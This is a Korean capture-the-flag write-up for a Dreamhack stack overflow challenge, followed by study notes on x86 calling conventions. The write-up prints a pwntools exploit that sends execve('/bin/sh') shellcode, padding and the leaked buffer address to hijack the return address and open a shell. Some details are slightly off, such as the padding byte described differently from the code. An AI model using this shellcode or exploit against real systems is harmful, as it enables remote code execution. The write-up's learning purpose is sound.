문제 풀이

buf가 지역 변수로 0x80만큼 할당이 되어 있고, 이를 통해 ret 주소와 132바이트만큼 차이난다는 것을 알 수 있다. (buf크기 128바이트 +sfp 4바이트)

image

image IDA를 이용하여 살펴본 스택 공간

from pwn import *

proc = remote("host1.dreamhack.games", 15867)

proc.recvuntil("buf = (")
bufAddr = int(proc.recv(10), 16)
shellcode = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
shellcode += "\x80" * 106
shellcode += str(p32(bufAddr))
proc.send(shellcode)

proc.interactive()

buf 공간에 26바이트의 쉘 코드와 아무 의미 없는 ‘A’를 106바이트만큼 채워주고 ret 주소에 buf 주소가 오버플로우될 수 있도록 하였다.

image

함수 호출 방식

함수를 호출하는 과정에서 매개변수, 리턴 주소 등을 어떻게 스택에 넣고 정리할 지 정하는 함수 호출 규약

image

sum(a, b)를 호출했다고 가정하자

_cdecl

_cdecl은 c언어에서의 기본 함수 호출 규약이다. 스택을 사용하여 함수 외부에서 공간을 정리한다. (스택 정리는 caller가 함)

push b
push a
call sum()
add esp, 8

_stdcall

_stdcall은 스택을 사용하여 함수 내부에서 공간을 정리한다. WINAPI에서 많이 사용한다. (스택 정리는 callee가 함)

push b
push a
call sum()

함수 리턴시 ret * 8 수행

_fastcall

다른 호출 규약과 달리 레지스터를 이용한다. 레지스터를 이용하므로 속도가 빠르지만 경우에 따라 코드가 길어질 수 있다.

mov edx, b
mov ecx, a
call sum()

_thiscall

c++에서 사용하는 호출규약으로 _stdcall과 비슷한 구조를 갖는다.

push b
push a
lea ecx, [ebx - 4]
call sum()

c++에서 자기 자신을 가리키는 this 포인터의 주소가 ecx 레지스터에 담기게 된다.